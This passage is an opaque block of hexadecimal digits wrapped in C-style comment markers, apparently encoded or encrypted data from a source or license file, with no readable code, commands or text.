3f6d58d993fcbbf40da7febe975bbb70a528b6e0759387a9f6070e661857c02290cfec1ae8989be7b23cfc901dd9d27d4992a4e7d67eebeecd671ff4ca8a6ffa07b5ce024970ce1327f35016aa3804312cae12dc0dd8ac17f6289d3676b766b06ad94697fd581da394733ca40ad4fccde955bb541a9f0fc95857dea09531708fd92b875988c5b444e5ecac4307c4a35c96dfc0d86142ee34941bfb0ca953bc8d51d8d42c6962726dffa95ae94f3f8539c46cfb680febd827c6b24203715b3e560db1c933204db7dc1bc4d62225dc839dd97f535522d67bfdf95dc6b39096d92358a0f35e1be4708726f2bb5fca8e3344c1379f50991af3563b955ffe638e854d0a2b2a7bf82a5207d076ed92f64b7bd28fd2a2bbc95d568ab4d0055173bf8186eb62652cda0988a4a4ea7b8a1b232de57b2a35ed41b6ef3127945d5241b68b0dd76b6dff9ad9527a8ed5611eaca1fd86b6772db29978c9e24cd9939d26d95cd3d772e4249deeb861368ce40f092908b34d47d4b356a773d8af97a0cd0484ecf7b2e049ec33c7a2c03b6ecb69412e37ef578151735aabe5f9a4980d15faa59dba55565a7842da50c8f31847712fcdc272c89ddad8024a52a176f6b38bd367e3e7919c2694ff097d7b3352fbf5d45d4b6ba55ce7d468defc62d828dc3f90e1fd18d36e79638ecefe743b1d5896b77699a6dfcbd08980e32a2c2c7a1716725b512cceb704ccd549042a8a0afcabaa4b18d5ff66a2b68da705631729e8f875aa1c1087ad2e8ba7392aa63fef25108514008fe07c9d2*/
/*86ce0680cdad55c4c771f5c071dd9ccf5d39a73168e66e81049cf09a057b86dc8232626da55e03c14217b04d6141b724ec50f475ff56792b3502486c743574781146edc86d5961533b8abd48551e7968737bba5c6c465d383ac315a0a883e57738ec403b0d9608fb305b0e2839e271fc156953b8e2f888f90827a319af8217b14314574625765146bf591adf7d889beb41ed6390f60ab80bc11913a453e09677ab0c2f9591370add8fc91d6d2fe4122c5499b03df633c416aa0df3b169e7e4751d27019fb9e6b9a0291539a66ce26da718128595fffc08382486b23e233eadd212d3971141ce37c205233c76bfe4b9bc53b4130d5d5b21363526bfeafb215599b9557ad09511a2cb4311d7895026a7c82f9f506f963de23db4b3f630e3f67b733fc2f15f3ba470ec12ef0b812f9021c62395beef3ebc77778dc72359c550397f9c52507e706e4619cdc85d8e35f9d43bdcd6252cf890a15346822ea44a54cad0c16f558bfceb197b3661c9931f373b79fd130d553452dc7d94ee5d8faca53fe1a3200762a14a688c3badb057ec45c566676e5d06c7176b105962bed9be24417ba5684c4af3d9257c0b8e8d4be925d4e146af700ade8b9e48938495d4306284e76c2f84fe3e0d8f7ef1d4b8f4562a033176799404bd8f6d6b400f6a411743b7419a225a46ff8308f319c55d7f10dd10effd5c48b3da7badec0504a097e2c0628d1a1e781f163fa875dbf02a8c74034e27dc906776c193cca6cbb838085a859ed431b5dd6b6160e0a32f757a8a90f1b57bd0b187247d4bc87249e2861663c27437d58389930b1df6fd4e964fbb5c48b9009dd92802a4b08b4416a95966e9b7e4285882005f38c6a869081c4920f2ff215fca71c582b866fbdf83e09b94a747c21fa84cc1619088214deaf3c4adc5c0f48aa52f9bac06822cdce575d7c809853c717ffd2bf9f7b69b6dc8c181d558f9df491020e8a1b04141840e1b711730b888a8e19640a7286cac9cc21537e29f112fba745b28bb5f87c153e70de28c89cd245843eff0dbe035fac59641e6db2f45b680cc1598f6bf60f95170391706a02a325d99068a22d2d84b0a6442e5cf13a222c25edf1cfbcf6b56df2c3e1cfb5119e400e2aafc56b14c1f3f8733fbabfe80e2e8e7ee5e514040228ebe19fb5f9ed32bc108bbac64cdeca6f35d2a9f791a85f2861139db1ab7e575161a4e4e104d946ce666ce5d2151c8eab381f24dbe50b6fad3377d47fdd0e9ed83da22859b2e61853da46a0e650b98f2a644b1f842abdccd2ac5727c771fd867799e34ba46df1156dbbff525a7da5e6f959f60d09bd47dbed5931084da83eee6fef3d0553c3d2271ca2e876e1929ffcb0e586cb59a58194807b4b23cedf3075ea8bfc859ed530e4d1ec565fa9fe3386f67a8783a7af63f097093828f4255b2c15024548f5fcacd3f7675ff0cce4986c8ec65953b1a9b41c35e36c5e85401b7de758844e1ece3b022df72ac45902fc66accc3f4c1e5c8dd1f6f840a84d0a69e2e4abf81de6f7c27e83fe74669db4faaa0d73fa300cf3d861f5ae418d5fae27cbb5608c971d3e47f640621b5ff6538f24c0ec6426340f95204c06677385643b1ea67a8ff013795dc3b9b782ad8a87302cdd7212b86f0e02aa37152f6924c537f50db182276a08de1ede0e1db6c25bd67ef8cda9d68f46abfb3e32d08e0547e4fa87dda059231c5a042918a6a7d2b49ee631b972ac0ac548e5f9240233311dbf009361f7a8f690a7b771a6e2d5b263625408f36d1b7e4a29fda3aa3a413f148d3497f9c475cd587c90a3028f369862a5da8f7ece9c72ca368b7d6bf465e27b096bb5553fc9c16ad2a3ac3cf41d9e0b792835321144d70da9665a68dc3bcfa3305594d3dc72c11b5f6ff37109fd57ff483870b58d0c5043725b6bab597c18e0d4401634b8fed9d8c749c90293190dfa821b89bc6a80a879404568eaa9ec57c3ac408f4e01a27ffcd1bec456244d4518d1c5df549d1a130fa731bbc547ac47fbf8c786e94900673facc06e6585f29da0a21bacd4c708cd379959fe9c338ccb45635805641853db116a5ebda959355425f18bf7a36279f279aa8c5b88736ef787a98e131e3d678bbc9b421e90542ce046f8b50d22348d11ce702c08093d42f7d23fd6ae2fc64789221c61a04b3aa3a45f3b5abaab8968e469bc273b487b5dc7e49cfdfb83f2eaeaf0697e5a3f3c568929094acacdcebd9ddaa48c0c5e735df13ef7f5a451ca5d14b101fb0c3290c88d2f1e22dbccf4a56d97648ce0fec18076d56ad7c17ab3de83d6e9275247c82eadc5148686a307c18a484d2687faa2c8a9d364c43e7d3550777497baf8ce743d50101a033091b5842c562f42013822e503dec6724ef5e05cc0dab632be7529d1d953d1685355ccfc9ad52b63409713494a2b0e112417e55537e0c75f3a669f1ff9c1b535f658825facfd69d79c6b647ed23ad86b9882798c930cc29ba48fa37e27c3b6efcfe9be5c91db06035741bd02ae9c201f8c3dac94c57e14a304a2e56f95cc86783b661c84b0b72e965fe3e78d0aea6494b28c7ee341592e08c954b0af516cdfcf7ce6876f3a69d55bf7be6de6cf2552ab511eb14970f5113606a09c8d277c1987fbd9370dd525377a77642b5e2759d8b4657a6f82645761d08d1d61818ed22b77e5eb43f81e6af78c4bc12a2281ba05aa7d0f0d2f15617d54bce443ba91f97150a832e46fe7ead506d9f5cec5dd32de01553ae209d579c8705214f747c3334af75ed0a0c4ba4c369014f35eeff16663960b2fc0ac9f7167021e557461448e898b45400506cd8c3489e4c*/
/*e9ce6ce742e14e0b8ad777fc8878f59ce5b71a4852d82ffca3adb408c99a99afa49841308f9d61483a809ecd8ce2d5c928927afcdcbc5717a095721460a3696441c46ec95b566a7e5a06801b59b7bf66f776b8f5482b8d6c1392912a357647b97a36d6eda6ca996832a2841689ecc8dee76bf430ed8c57c189f7a3b48722c7971bc7dc30c6ac9fae903274a4be15b30096470c0ad60abb545b745cdb86fc15618c45e64358610763099efc422d8cf1a206cb372c6031dd9c31a21cc17e753b5aeafe189a92e5a99acc69aecc257d423c902f0a32776102e0bb8291e9f209d2cc0f630bdfb94d7d782da64ddf192163f1c6c550f1d66afb334225bead1aeeaa044e8d8a78b6c4d60cf08b0fad4cca9ac67f1d6e6b3419f64ef6325b85c9a85b043e3efe78681136a3ca3f70f50261a6f99fb9b04bb7c9d26bafe43b61571806761f33823814effec316b1a96165875a670809c13cb7d4c3329b271c53d086610659399b9b82e04c3b5727c83800ddef62477c345cb867cc4b45c613c2764f420c6ccba6008b05427f220486240f273c67ee10fa41fce702109b8de770959c60e891f6292053c7df0afef85d21e37b2482eca937011d6e09fff668ca97d5456ad9aea428da575b2277112b1366f7208c71a365528ed9ba2fdba3e2e0eb4b213ff0afab32f805f153d8aa7f5cb6aaa2477ca7be67a72ee52ba3982e0319af36141ae8327859d2918371ad11a87f3bb327e95d7cef108c346139ca69af0134ea79ef6744f7eb77a5bcbde4042de42a87d33c37cb8cd4f96d25c52d17e5e8133e64552e1493abff5c0691aaa68581780fb79f1b4ffae2865cdcda40956fbdc1bb68bdee334f4ebbfc66718dbade744677780db1947693dceebd06582b7f995df3005102b0411eb1c4b6d41bce7904e9d7dc1523fdd6bfd66f708ea9a854845af9387467cb854845bb03cefd65650b1f834b5031b3696d660b8c54d06aaaa81e8e2335228c92515c2d83c5d7dbe271b401368e9f6f2c23c1a34078a38ab66a93b0c42445c631827943d52ec1c57e7a95d55752d889df05223357dffc9c29fb6e08904b09c358be7a352a3a3e9eab5c25354497ca2711e14f7e7aafe669daf0250444c95162c043e7aff748204b8b7dbab69d35dd500b74b6a7f65e7df2b348ab42fca2997b9941c965ca00758fbe0794db7e92922bc5147529bffec96811b7fb077850c5683eb3f93099be863327980a3318ec20040a0b249171aedb19433c758c826eab2323d80e03ac6d1d4b537c070bec3446a367a3563e2dcae47b3c845535503511739b2020c8a08b6005a3da48770c536f1b2b0e23da107ac0182c701cbd2ce316d7e09e57dd2780772f81bcb7392fa3730db1f287f4b24586f0b5ea7a26601b5d30c5ecb5451a3f6c3a8d8b6e46d158309f6ca73cbef9c0e9dbb0e7c6ce54dbbb04f4dbffd26239ea234502582e9481d8fc76994229dc017c012c5bf6115e0809015756d6f2ea33593faea5cfeb16ef1214e163f63293cf407377ebc9a8cf117d44c597e394f65c402d1078fd1393e3074108f8e901424b7b80816aad974a03558c497e751464f6f6f063dff20fca491f10978427329c8a4ba657ed74483f3d177b971a8c282a5d2e919fdfacfd6736482b67fc38d16fbc202ce75998e0a8a720743571f0226be584e7c5cd89ec5fa4545f47a9333d86562878b00a9492d0162559dd6c144233423b0c995ea261b6d7dfab82724a873b915696cf28fde2aa6ea2d82c0fb0df534468aea5efcf95dbed7250cdf29879d93f29940baef2cdba30de7452d379ec3bac80ca15719ae52cff6bd8350619331c2940a057792daf16298d71c6d8cb7d10a4f44052b7ffd97a4ef466d6737781719db5087af0d0afe4cc1e23a326d890094fbfb616f360cfa217a8627a71469f2ede53a59a46a106727104da0a5b0deba42a3a91a71821b946bfb3f9e4819160369947b6d8c15817feabafb34583817d121a452679ecf5afac3580f14be1575c9773fae8028835b9ef443d43b263585a9df4c93414a1064e44fd5a887c538da4bca373af605d36912a6cdf87f33f2a9b48914b8769603158be377ed4d4e3491ad732f267dec9045d286e74d59c1b07a642696b75253692d78dc95ce0e431dcd4adf50dc2542a4b09d1e82de3b5db4eccf290354ab8c015a9741a49117104c68b3aae5121caeb2282080eb44f3140d5729d0f9928f322261944e8af5fbd24a0e67523462b2c73cc7ed5fdbcbb714fa66488f3f3f9067c9816f3ebd4b801017cff73d48c0d4f8bbe9f61e521a3c914f6cc961fdb3a9dcb867a3389db9d432e10f6dabfa2b02f795abdec85190f8330826dbec883a1063251298a098ff379cf55b7d05fb5434cdf3a0e179234661aa476db25bf87f55eed87127506a595cc3eeea1547aca33a9f2f49c5f99028146c7d3667c810a31ca79ec2f78d44a792af0065f559d1aeb23ddee833d20703312573a33f98e90d8cf93d7fb48cb8ea2ae0c24e1c1436ec4979c7ced9927a95203f1a7d4adbb1b7f0fc1a1f8b56c9ce4c9bdb6d72bc332045b8636c762a0a9c6dfdb8f0fa4f8b9ba073964757138c124fbf62e08254441c02625476d0546e1b421da94e6588e9ec544d934a1116c6ec83d0e982d9c551a1c8631d3493c26f560b4ab9a308de869e830fe6615a2bcc9932e675fb94c45f22eadc437c8f67d2cdf316973749a9f3191022e53d09348fc6011cd90986a35341197e468d4d28b01de6a54f8716fc0d92a97b393f8c1cb322305a0a4ba0d6040db3c7cf05e00f0a1f59d36f0703cec7e6dbbf3339fffea*/
/*77b814c530105ac19a0e009614b9f23482ac594a25bbe16031365b87185a24f6b9300fb69de3965f923e14371cab240d98edfaca2087a85d722c3e3aaf2ccb14507554ecda609970b0d616b26a85378561a69934c849868ff7aef7cb2b4f653d6b5bdee95b92a911efeba4a2ba8c0924a387d3755604d8aefa57d347f0c65b45cfb378d6bdf2cd42ae23e5b10554c20dd51fd0a5008b7367160f2b60eaa284470c6f2b18e4a72c3ec750b6bfc0c63bd75299147e71301172d163df0f6e6a49a038a288ba01a91bb29ebd3767010c1982cca93b530845979f8529be5da9e89f50286a67a12c2696455e282cf3d742338c48218921eaf0d2e2a7637cc3defe490480db8ead738ba4e64faa0d65d752fbb3e334606136f805985386e52bf2399d07801106d98f7eef0ac2e6f185d5b5d687dc6c70285b700c53aeef11a1e917c6e54b2ebe7b2a19946fa3d57126615e493d5a13ab7a3b7916a490964c750072c9338990b60be1aed5f351e66ee3ae59f5dbcd2d576f7681c2c55477c70b2d3451c4dd9c32203aae2e3f63593eb1b83fd609486b4a139e99f799769a7d6708c95e3fbfe63658c70b7f25219f99b4107e387a59381da619eae787f0ba4042d38fe0c71708780ec7e12843680fda75e9bb3e60109d9f3f4b142b46170dc86142685d29ea346b802023011bb080fa41627c48532ad504be8c43b9baf71ef0005cb35363fb6e2707430532e2b06f79e3b982d0c5b935e81ea8120cdde94798f744c1d0f75e753f960a79ff6a10cbf245c1f6ea2e8284a5383fa32f6478f44551cb5b57a4efb124110d6c34911d230fff276ff67ab216d8fd688b12170edd80452e98af54fcc4ddf476c2aabf66234e36aef2504f8e800fe1613fb150edbf56a6f9133a9adaabf33fd19cd9b7e81e1b47393c8e4f1c3f3412b99a29758b81011a1f10a52794d6d773d924a0deb3dd5d9049180e31063604b714321bcf4f55b0b34f6c66c535c2fe45f0cc0bd5b59c49f97d2a638044d0265a10b26f419d6faef3d7d02a6c3299d4647aa18864fb8242fe9e5ac22f5f22a08ee4e378808f2bc16e86e9dac59699834c696192ef501310953f74b27ad614ebf47ccc19dd0a7b30450a166a47252212f9542164cede2f137a6e1037da2874ad5ad03a0b1167482214242e14f68c5d61567485b1082ed6c88e34c73d1ca52aa893f64254146bf6820a7803e02e5e730fde11e984b93e1aa8aa69d600601e69e6779de36a557d72c8b81ac5560e29d12dc9d4f1cb1502c7dfc325feaae62031d3b38b7e8401e33c4f885754779b5cdf678ae26ea07f48363a7f8acaac4399524a63ac107058339ff3911a0cc0fce242b9fd83a65f3cc3700ce496b6f1d972ea672e87dc8213f08926d2a5307c4fd3c4a63e078f8ac4817195f62749cffe9cd5681778faab67a21e04c07bb7b173d1ae0f1835005338e279b11042db508e5785f0bed1c59d55b3049a73613099c66249b8ad0cdeaa63f365190efd60473a72edf8a0fafa1242786dd9ed5cb1c41ed9de02328a69312b394258e9990d22d4de5a4acbd686ce028f9b6259753deecc385b7fde182768200dd3f8b09cdb7408231819c8acb698be6b5b4229d6eb11c2a35f05c1bc21c7ca789dbda644942d43b2e4b2b2fcf5cbf1a12d0a7eacf8a33d78de29190a657dbc7b7f9866a62a09abb4edd8d03e6be7510d7fb28ff7589eca9f575e4e1afebc71d1bdc2c3affdc4cd80a174d2c1eb5455337aff61e0f019abeab66ffd6e3053c8902d4bf03aa5cfaec4b27c2d1f8a4a1d507bfa57019b2a6bf8b5a31007b02d5e6076789347ab819c9fab03b7199c6b78f8f0ea3a77286a794959c99a63d89cbdf42ac220d2f2f2ecc54472ff661425e94b2cd707f8be091909d20d56b08861e34e7077ef09c50c8dd11b64979e904d31b17a8761c4ad2ae0ac658c87f8b7915b66551f3a87deefd0587d8690eaa7fc13c752d93e3b973f13eea209360869e71bb5b1f821c8a48a629a6270aeaa76fd1dcbcef57c0deec82b144bc6b76a4d055904ad98aa116405df9e806006c1a736db71de0fb576655ef8fc05291f213ba2fd71d1f7795114bdc1a3d643f6eef9f6b0296703a3364969e138266297bcc0b9b696a2ce100c77fe9687f416310d53b07e15fb7533af5c6b1702d987f450b41e89d5d199c2f8f5f0fa589726d54dd215d27f7332abc9b13ce96375f4119bb26a204c2d050128a6c8b2bf13c24f1a36cda906a9e2c107414d8486a8787a0826c1460cfbb5691d305496c8670c0a7f49a5e9f7ce1445645debf90f95c9f2d7be7f83dd4ffac26eba3e79c73f82f9fcedf073c98ac93ed26acfa72f5bdeee58bdd212ccf88e9310ccbbeffd7b88465af980e804885592290c8e0e0368a51bba3e5b2ad41af0f675d6cdf34511c8a4205d432ab639e3e89986458a5cca818ea91962a1f1e7b1050d4ba3b914f68b4bd2c2f604b7293289b1c9a30d7fe8d596eea07420cb2558d087b39aba849ea04728e68d39956c111781b8e420d79fd585b4bbd366aec7aa6e469fa948e1571df91af6c7c50690bf169afbd91ce8defd3496f12ba12264e41b6a9d844d8f8f1543c28ea4b8400b5b278af209b14918ef20703942642c27138cfde4647e409879782183afb790b32061477f8db335437d39097a293366abad0f21c3db7f29b6f72cdeba9d23413aea2b3d3e526c55249fbc2dddd43f592598109382f25edccf5a0a770ae32ffe36f1351427c6b1ddf9393cc9cb040002ff479ceb3d15b70675eaaa8f272824846ef9b78b0082d6c67087bb84d98a0b1fb8a6e98c24da89*/
/*88f09eacde31baeb86f70256d19d131578fa44ae68e9581aed55681de8d7e14239f70533ef0763513b76847e1a965f99dc4d12ba1e04b7d03734049b5c9c5a1bab52518dfe71851e988275b1bc00b09540ee32896ff921a17f72dbd10aa16e351316d3edb1cc5e810cbedfd3a7b89fd1be2d19b599328e5f923366c231365c89b50ded20c722e624d972e06239d9915e57586b481e7ea9b9ffa63b64fe38c807ce8a1de713ad3e33674720e8ca498f0232bb227b5743b07bdb191ee105fc9a9478b56a1a4864d86c6e21863f213e22d627ac7e7658522070bebf67a9bc271f4e4e14601a617dadf2f0540abfaf0cc0cd4341ca93fd90310abcb7ce2351b11e4af046c9031997eae8980fc1a101ac83b8925d5abf79e903f46e39149110ce76a51060dec32633df74c4ed8364e3a8ce65d606b87beded4841fb783c661d2782fd65767472dde010e432a5c1763f9325209b5e1c7b8c1173d49a0fa32bd8a7e8d176cb89324ea511bc22e1ad0faf179359a2df1587e18a452a527b807af15a5d9a08ba74c83d20186fc78a8a0f357d25c3961196fd2dfd21b7d322e1bd4855e9324edb1df9c28bf1f33e0db885dd9bbfc8dbcb4e527dfac1aa05e0c4f4ed96a9387d70f6c15ba4773d86f9bf1c2973e4a773e28fe1b9dd5c2c841ef8afb43d6415fa41072fba1ba34a621af91f23510d57694d950ba53adea1153f038625c8bb5fc55a26f797ab0d9f5dfa7e03fa05643cade2da8c1cf71a3679cae4ce8c17adff1cfb08610479edea2eb769c902e211222332256d840222b5b8a0087d707b9ac3680fd0b033c74b14a42782355e6d623af1bfb2bdd3db17695a4ca830be1abd77c5f4a4a7f92da2230735bbfb6ba3fc66acdda6667d596ed971a3f64b48eb5ad2733c664d672ad98e11743dabefb7d0cf47b5f4282c3f4900db35b17b1986a242e50e74297d3a835f8502707413ea614c67d0633d7dd0b1bef2754557e03890b4cd537d210d81ad0f3075ab4212e5e48577fd7a44e86a11e304d4f97e1f5b1e4e66f7a1a7408da81710259bbb0f426781da5116399d6a784e42a2f989e76ea6f461f8936689754ef582fa926b220cab29d5994b7d1b05977e2769204636c1c881f69b96a0d35fd19674411ce70ae5db3f0bd5d8d49f74cc76ad78e8f46db507a9e3db6dec7f9fd3d3699e6c8562e65a9b51dbad816e5f8538578090f8311310d624d3f2650be676015489c394e02d04a707e0a120ac6a567a7a6e19d50f43f27fcea6917f98fbc89dfc95760d2b126e2c5314762e127cc37b0210038c9f676eb8440a32526301c0b19896632b0ba5a6c49ebde26f506e66be2ee75a2effd67db92bdb851327700bd649cf5f7ceb906355034f831be199d4d5baf9068757f0ae009576b75fe21f12917906905313c5c1af9d69b0920f16be10eae4798f354c670a83260ed38f3b5c97c543e86186af9106d85d867f030feb3b6cab8d887258e3ab4162d1548c3f52f2f310f291be1221bfc395389b31ff06b1a482234ba3ac10d59e80f049f13d8fa913e3bdb1ec8eb41425a96952020ab1148e5cdb2422206b56cf4fef6c87de64cf9f89d77d5f10f455818ca05de7696d8ca9057730efb4aa34d95557523487cfc31d715ba8c4029b8f7387e4a98ec23e2605ecc5d241c138312c178417a453cca2ce55bb08e5d46edcf3e2c51563e0eefcdd4f515e4a16c41237f48e5b6684f93dd1dcd44a0a26297b51c7dcbdca4811e380c2653b95ec24c2825af11790ab65a6a3157e6639206350859f83bdfc5c8aaa030500f7daf89ff9d2a8230a8fcaf492fcabf6c59ccc7c6ec228dce4b45f16abadfd979a0f23d3761006c9fac414ed4395afb850c2980ae2b4fdcb53082fa5fcd2064c55cfbe4dad989f77b381a31d85c299158118b3bf96b042ece936f290947c0d100618a0f3b390989d9389a48868e5d0e617200011885f06d9fd35f4eb3278e810807a4680ffa099d433c5d95b513b2bb065020c7d83f03de2b700cf82f8fe134d8a910e85b3ed5891d9cd5e852b17d86ac27591d8af02612335a5c105f4c9bed719236ffd77d735fcfaae4d3c19d82480f706d8ebda5fbda75a2db2f296d3c607e88fca2e4197d33bce9ca4aeee416c8e951536f4b56fc818aa4f2c189786160aa85863f416cd68b1b7be17b46a24e248f4db0eba3980c0be50e8fbf2d1d9c564e59c007703f43b9e0a159b088925f477696f8cd866fdea644ffae67d8655fdeb54f03287e95ae118f9e5521e8a16e9e96bc9191b9d21958580164928d36d3efd69004ffd3611da30d153b49d698aa1cecbddd6933f0b310805af1a6d66a5acf5370e4d21165db00d54c3656f922d1785564b496a852c010d6a6d68ffeb1cef713e6f0856781f4ad42491aa55aac50ec254ee591a3e1f53d7414e1701d0a841551cb5d927ce1803733d8ae487b8e3c43852704d5bd3e5ea02c07b0add432f688c3c41f9562b12a167dec3152bd9b2e36199257e8377d3889e12ea3ec046ce76c9d361a1acff771024771d6293a464bfbfdcc311b7bf7906db5ce0aa0e26f2e6419bdc6f978f46cc8cbe31bc7cf12c495d0d76a38f436338bee31e70c1601253e9b8e7419856cfbcc8f780968b7268009b9d06253b312f98fcb0eba5e9533ad04aae9defecd6e25258125cf58a2bba0b6a1b9a1ded60fce751826298324a3dee62edd660e3f484b044d0f90dad0cd65e88b1a5c0523b1b8c4677d4affa4c44302c27ded77392fec6ff77ccec7cdbe14b9dbbb02c97aa9d0d4164fbf8a33881caa516e516f3050a6704707a165d2ead9856a96ddb8394*/
/*9e74808dc58b8f63c73fbdd2a98433f620bd31fc8c3eef220f46cff732137d4e6ea8dfed191f8181efaf38fa3dd52c92ba19d1ce76646c348b8f8b38623025dc8ca0005bd978e3454925a9a683bbbffdf10c2a0145e7912a8d2f654817cd3d5bb680ebe257abbe4ca8874a52348d6515f72b7579ef777e73b715fc7bdc5669f82973c06895403f350fb6dd97fad88dc2ac96d9562da5cbe5edd6f35d28653b85e7be7c53d5315e987d45914469d9dfcbd94cb7500a034c1344e928c9c8712ecd36e955d3904cd785300a9d0b9cc642f8904b9ad31ffc979f40df6af77481b265ae06fd26c89045a591aa4ec827aad85dc03de810126508b4731a8409e7cc1bb8a3bea103ff68851cc4ba4b8150035e2c89b79ee3e7b20cc6cdb8eecea30cb9a025c04cdce11952d81929eb89016270f34df433e220848a2321eb149a8e5d99e280a47f7a02f7cb968d24d7353eac44121a5a4fba07a10c037c2d071af68077a38271d94b4bf942c14578ce665840d9ac15472935da380c99b731630d2a40424468e0ad2192073c6387fdba2bc3c58e238fd6908f2f8872e1842e46b0cfb723352a32cb5897be80c5603b84fb197fdc8055c4e7d75eea58270700ea16037374abe6cf0937d5c03a3c681f957556d4fa082c6a31bd35c5411824ce9dbed98641b9d3922f7f9614df00d1859419327c047b28be3d03d740b868078b6912eb81ce33ae719dfe40ffd9cef557e23cb4ebe2ac25e17982d2e69f1f2b09f2767a71d80b55277ab4c8b2570ec67d35e220b0aef17d62e4a3a58846f713130c716d17030d915acbbf640eff74fb7e2311beef3a13bef66b8f01c950a52f0690815dbb7566f207196c79e5bdbb7797feaf411477d5fe79d3c8858ccab86e715108b4f1ed5ed59b5322c5b0a35cfc68e2bbfbd824349106da8cb7dae9b7a7dd10793b3595fde8894cf4b616f4d731d3f043cc11586f14df95fd6c1f57092a464fafca2166ddf003b68dd5c2452fb5ea2152452733e84f978b3411216f4c0399da2e7190cb80570a304c9899cefaac67328c74a39718d7dd85787dbd39b3f7cbcf27b2f203afdd42e860fd291371192b2e775bfe27704c65dbed0f9c7a5ca8509a6bfb8bdbd85958655cf1e4a9bf61557352d61c15c827dc0ffaf566905fefea98d6dbf1aca2b5a0ea85a309af6bad107537e148bc3bedda68f24f1b28b5a0982b64db1914043e47a9a6f181436cdf2eaf89cfc6b6457ba17f39edc2fc9aa6e0623cd395a616cd7a487783401d4441296896f2afcf3cfa7f1a288b7624017413e4784b8b12522ecab8ca124d58a31c014ef31a72bf63870d9342058c8f7e66d610e68c90ebe6d55ac261eecaecbe99d9b82a630c05636f60dcc26e98337f42d4abcc8e1e266507cb0d38896f97fff18c2628b18ac57c122abdf4b67ddf84ecc0eda9c7d0ae06466a47912bbdf38b40a58ef9599c7d5ae3d33dbbbcb629f73e18dd16db9a857fbc0eb0f7f5979afa185609177bfee3f1f91421c39de86baa71d72db523f772cf087bdf1198fef0270fe2d103dc213642a204a7c15589f71b91c1aa4d089d79f7f97637b8294aab29c666d8097cd3a0f5f0a25d976ce75b0a2a983e0185487ddb8de7aca2518ab3b5fd32da4a200feac87319d4a18ebe61cb0d9343a98a5214411ccd1510042dd058e9bee764baba1aac93f59d77cd8760b425554fa7bb376136987caab75817aa900c7bf01a64ec74f1b0659c52c4b2121d3a3aa9155625f9c813e5434b28a242e8e0fbe6e7fab35c932bb233508b23b3731ad8e9699ec84f25445c79d2c69de1ca44a29124e6bd65290faf58e99a053b6811aa50123725cd92e1f799e3b4f54c1344940ac5bfbbde263347f776d7ec5b22e9d3dd81ef3f039b1b0cdcd72bfacbaf5313c1d49b3c9bf81bdb4312fff65d0684d2f6d3686252c615e6be8fe1401fde8cd79c1000b29e847f7d19bae1a3adf20a1f3dabeae2c510a704bde118886eaa51ad071328a4d8c5e105e3cfde8a2164ffe15591d696a8af30d29d9da3301bc89f36540c56b604e0581f79f7fe7c0e2691d1fd97c511b0d1cf19b714a012863061b9832e7255282183598e71aa0423677326889aae1e2e011866d42b86633527f4720ebb238d09cf7ab93b4582ffe3ca08658d232bf92274dcd719a678424e041790444f4990b2b6184a1e726446d0bbc5402378320b72b32a21241929ea3342f9f9ebe7b5019746645a24dae8b39e0adf6b47505f43c7748f4f496cd11f1decc105b6ca118222e11db8de730585f4e4ff08d25878fe88d6ae9071cd60a512b13178ae3896728a6a34a3b10df894ed14edd9c235189c9df955885f244ef3c41d4ea4a8a6151325057255e5eefb45cc0f14586afa202e62a7376c1f94cd2fb3b8b66879654fd3a889fa99fba07d5b60e91bd89bbe920324f05b99aaf34ed2bf7b584eca8186c1c28d3b65bac7a11ab5e7d1b771425ebc43c1ed96f28360827e8318d806b7b83a230401db0e74cab282cf041486983db81c04554af27d2cb3063f0998634fac4773237a8f29fe83383e412a461710c057404f678be3540a70b16a650c9d6f1f4e48c7f13cb43521044236ade7b68cffbea3275a772e22638e787ac5c9e133719cf1b0244ca7ae5f0cf8aaee025c411cca93f46005e627ce4de1a6309fbd0e48ca0bfbb4ee84c69d13e189adedfb627bebd60617bb876e7eaee9074814beee6b9dc6511c9e377904029cf05062514e8ac0f52cc77cdf8091c024781ad3d8688d6af7dc0cb23627185360cbf86322b9f1961b4ee5db8fd5a9897f52768c471c8f67e33a*/
/*6a2d1f4820cb4414a06f496445be3fba308a45ba152c0458e7920238a6c41be36b0ae81f9b82dfe8bf2ee1b6c9c7be34ac1e9f79c1978870ffaf7e7580575a5f7da7a46e87af8121741b79b74d3dd4215ec3936c7c3e8c4337560ef859b75ec900ec3b021fa9e2fc06b92ab2f48be7e434abe9cf65ccb424ebf6f97a2a76fc0fe6003e5535c983e1482657c24062fe7c47c93bd4c4388c0adf99fb6c378cad0b14d7c26298e8f44bb2c3e3e09099906552b104ef8f47ae4e4a87017a7df137324fb9b10950dedbdbea10d562e74a6641f372ade93bfbbd55926c526a4574dbbc79cfb5cbe7124a163a39526e16b2b295375b265e9bd90231a67b6b11942702d6f5eab5819ebc9344a41babb259e7ede21a6dd6c94f71bb5e1fb36479b2e099fc6d49de872453c9cc719a3d4a9e18ea3ce8d8add9ca81d23ebff0e1182212bb7d73e8edbc8bcd3da5fbb57f1485c6926215e5e2146cc9f32e9899b787d17beb66f1c383b9ad96c769491bb92858bad36a89be6f1bec5b59c1b67283067a9b4d5522b14191172dab5c924e81944f1d4c58596cf0195972b9ca00b4ec3329ec5210ad7dfb0246f1de9a2843c64577ea6c5c2216df65974880436391ec3c51ff55d90efbc0fdf81ed8d9ab399120d5ff6a49893a8b83be79c7df07434df8e4e794e79fc2c90c28a26ad588785977f0ceaae29f212a9b89b6786de965972716892d1692c003e52e0e303bbf5835dd04de24e3f4c30b23fda10814eb41eed0b8db52f10eac98bd7a0fba6a3bb5d46e73d4ebebaef1173799cdc6e33050b6a99f27bf29510d10c395e4a0d5985f63d7530df377c7a5a620953efbca39cf40fc3f87ee91b650fc2becf0c0117f31d9f4af8f3b1d2521634f5c2dabdd73df4df803230e302ef9bbebb143f0b9c647be5f01715fd84baa97a5ed5127190193d344a44adf55b9b7e17245ace2f643508b23d9485677a57cac0e9f3e04cb4ce7e34f95142336595b286acf4396b3965617d892dcca4aea1dd489fe5c553dc364136bfaf2c95243b57ca1449174e32c2c11e12838feaae08abab82b752952da60dfe0a5831c517740a4ab145a6e2cf7e9ce386774f197183ec05293dbfef882ed704ca48e5a4ed4e641e386b3782b8622ab0fe2afc96bcf04950cde35749de4571668a6d0839a1b46f0f9838cd1f5785847297b87a7f9b98e670f89a5562c6fad57575543412a0cde8995b7a8c0657b585c5eb32bc417600b65f43d1b19a92e0cd7a8060d98d04cfccd7b468583c8784c0d7cd826d9b5a183456b37d2ba0cb7d36aec14fd132358959e66d5004f094ab6ec262c5f09a09c246abf0bdcedb88b481df3a0229482e085851caee00fcda24e018c66b11ef5086388824664b6dbd5affb05993691ba98ed9da77488ca